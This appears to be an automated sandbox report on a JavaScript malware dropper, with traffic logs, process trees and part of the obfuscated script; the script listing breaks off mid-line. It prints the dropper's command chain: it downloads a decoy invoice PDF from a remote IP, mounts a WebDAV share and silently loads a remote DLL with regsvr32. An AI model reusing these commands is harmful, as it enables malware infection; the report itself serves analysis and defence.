Jan 10, 2025 21:42:22.675432920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675446033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675460100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675471067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675482988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675494909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675494909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675494909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675496101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675508976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675520897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675532103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675534010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675555944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717169046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717190981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717207909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717221022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717221975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717232943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717248917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717257023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717267036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717287064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717293978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717298985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717309952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717319012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717323065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717350960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717360973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717380047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717391014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717401981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717412949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717415094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717422962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717433929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717436075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717449903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.717458010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.717500925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.744719982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.947264910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:23.462788105 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:23.467587948 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:23.470957994 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:23.471153975 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:23.475908041 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:24.292655945 CET	8888	49717	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:24.338793039 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:24.578784943 CET	49717	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 21:44:14.598969936 CET	64929	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:44:14.604054928 CET	53	64929	1.1.1.1	192.168.2.6
Jan 10, 2025 21:44:14.604131937 CET	64929	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:44:14.604223013 CET	64929	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:44:14.609158039 CET	53	64929	1.1.1.1	192.168.2.6
Jan 10, 2025 21:44:15.078671932 CET	53	64929	1.1.1.1	192.168.2.6
Jan 10, 2025 21:44:15.079710007 CET	64929	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:44:15.086011887 CET	53	64929	1.1.1.1	192.168.2.6
Jan 10, 2025 21:44:15.086098909 CET	64929	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:42:31.679929018 CET	64641	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:44:14.598541021 CET	53	53162	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:42:31.679929018 CET	192.168.2.6	1.1.1.1	0xca4c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:42:31.687143087 CET	1.1.1.1	192.168.2.6	0xca4c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:42:32.419512987 CET	1.1.1.1	192.168.2.6	0xff10	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	5172	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:21.134212017 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:42:21.941063881 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:42:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:42:21.941092014 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:42:21.941112041 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:42:21.941123962 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:42:21.941131115 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:42:21.941135883 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 21:42:21.941140890 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 21:42:21.941147089 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 21:42:21.941153049 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 21:42:21.941160917 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 21:42:21.945974112 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	193.143.1.205	8888	3424	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:23.471153975 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:42:24.292655945 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:42:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:42:15
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\86328271623317904.js"
Imagebase:	0x7ff636260000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:42:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Imagebase:	0x7ff712540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:42:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:42:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:42:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:42:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff712540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:42:22
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a3fa0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:42:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:42:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:42:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1724,i,4614132653791133059,3530622464817728905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vfoog() {	vfoog() ➔ undefined
1	kqvhn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dtbmryvhv = this[plccck + fkqbjf + uuzdnbwjt + fhuby + nfcur + fnbagfjh + fxkzoac + cqqzyjnmu] ( this[ljzlhoyoe + lsjxgjdnc + aqaxslwz + uuzdnbwjt + jzxkbuoht + plccck + cqqzyjnmu][vijnky + uuzdnbwjt + nfcur + fkqbjf + cqqzyjnmu + nfcur + qfceefi + hrtcpih + sdroz + nfcur + aqaxslwz + cqqzyjnmu] ( ljzlhoyoe + lsjxgjdnc + aqaxslwz + uuzdnbwjt + jzxkbuoht + plccck + cqqzyjnmu + pdmrp + lsjxgjdnc + rrmmgbm + nfcur + eqntpvf + eqntpvf ) [fxwjy + nfcur + yslbbb + fxwjy + nfcur + fkqbjf + szdiiuko] ( ircsbci + tnsazgj + enykharga + bmnaxpj + xbumejvgn + vijnky + honfvv + fxwjy + fxwjy + enykharga + dtlrxfpec + ncjjfrsve + xbumejvgn + honfvv + lsjxgjdnc + enykharga + fxwjy + lditva + vijnky + qompnsa + fxkzoac + cqqzyjnmu + uuzdnbwjt + qompnsa + eqntpvf + juxrvpa + jknfdl + fkqbjf + fxkzoac + nfcur + eqntpvf + lditva + fnbagfjh + fxkzoac + cqqzyjnmu + nfcur + uuzdnbwjt + fxkzoac + fkqbjf + cqqzyjnmu + jzxkbuoht + qompnsa + fxkzoac + fkqbjf + eqntpvf + lditva + hdwbri + qompnsa + aqaxslwz + fkqbjf + eqntpvf + nfcur ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wasfdd = 0 ; wasfdd < kqvhn[eqntpvf + nfcur + fxkzoac + yslbbb + cqqzyjnmu + rrmmgbm] ; ++ wasfdd )
4	{
5	if ( dtbmryvhv == kqvhn[wasfdd] )
6	{
7	dtbmryvhv = true;
8	break ;
9	}
10	}
11	if ( dtbmryvhv !== true )
12	this[ljzlhoyoe + lsjxgjdnc + aqaxslwz + uuzdnbwjt + jzxkbuoht + plccck + cqqzyjnmu][orawuvg + tgafb + jzxkbuoht + cqqzyjnmu] ( );
13	this[ljzlhoyoe + lsjxgjdnc + aqaxslwz + uuzdnbwjt + jzxkbuoht + plccck + cqqzyjnmu][vijnky + uuzdnbwjt + nfcur + fkqbjf + cqqzyjnmu + nfcur + qfceefi + hrtcpih + sdroz + nfcur + aqaxslwz + cqqzyjnmu] ( ljzlhoyoe + lsjxgjdnc + aqaxslwz + uuzdnbwjt + jzxkbuoht + plccck + cqqzyjnmu + pdmrp + lsjxgjdnc + rrmmgbm + nfcur + eqntpvf + eqntpvf ) [uuzdnbwjt + tgafb + fxkzoac] ( aqaxslwz + kzajt + szdiiuko + juxrvpa + azbhm + aqaxslwz + juxrvpa + plccck + qompnsa + pnplmhv + nfcur + uuzdnbwjt + fhuby + rrmmgbm + nfcur + eqntpvf + eqntpvf + pdmrp + nfcur + ajbimuu + nfcur + juxrvpa + plxji + vijnky + qompnsa + kzajt + kzajt + fkqbjf + fxkzoac + szdiiuko + juxrvpa + njdjzxq + fnbagfjh + fxkzoac + wchqda + qompnsa + rfrxyxnz + nfcur + plxji + ljzlhoyoe + nfcur + hrtcpih + fxwjy + nfcur + mpprvlvq + tgafb + nfcur + fhuby + cqqzyjnmu + juxrvpa + plxji + qfceefi + tgafb + cqqzyjnmu + xrookoar + jzxkbuoht + eqntpvf + nfcur + juxrvpa + bohxjllfr + cqqzyjnmu + nfcur + kzajt + plccck + bohxjllfr + lditva + jzxkbuoht + fxkzoac + wchqda + qompnsa + jzxkbuoht + aqaxslwz + nfcur + pdmrp + plccck + szdiiuko + tgluwwp + juxrvpa + rrmmgbm + cqqzyjnmu + cqqzyjnmu + plccck + iiidrgx + azbhm + azbhm + togcawb + yfvcbdrlg + eignmvg + pdmrp + togcawb + llhwxzt + eignmvg + pdmrp + togcawb + pdmrp + cgdzz + fpcslmxar + tjlwpjn + azbhm + jzxkbuoht + fxkzoac + wchqda + qompnsa + jzxkbuoht + aqaxslwz + nfcur + pdmrp + plccck + rrmmgbm + plccck + njdjzxq + snmuag + snmuag + fhuby + cqqzyjnmu + fkqbjf + uuzdnbwjt + cqqzyjnmu + juxrvpa + bohxjllfr + cqqzyjnmu + nfcur + kzajt + plccck + bohxjllfr + lditva + jzxkbuoht + fxkzoac + wchqda + qompnsa + jzxkbuoht + aqaxslwz + nfcur + pdmrp + plccck + szdiiuko + tgluwwp + snmuag + snmuag + aqaxslwz + kzajt + szdiiuko + juxrvpa + azbhm + aqaxslwz + juxrvpa + fxkzoac + nfcur + 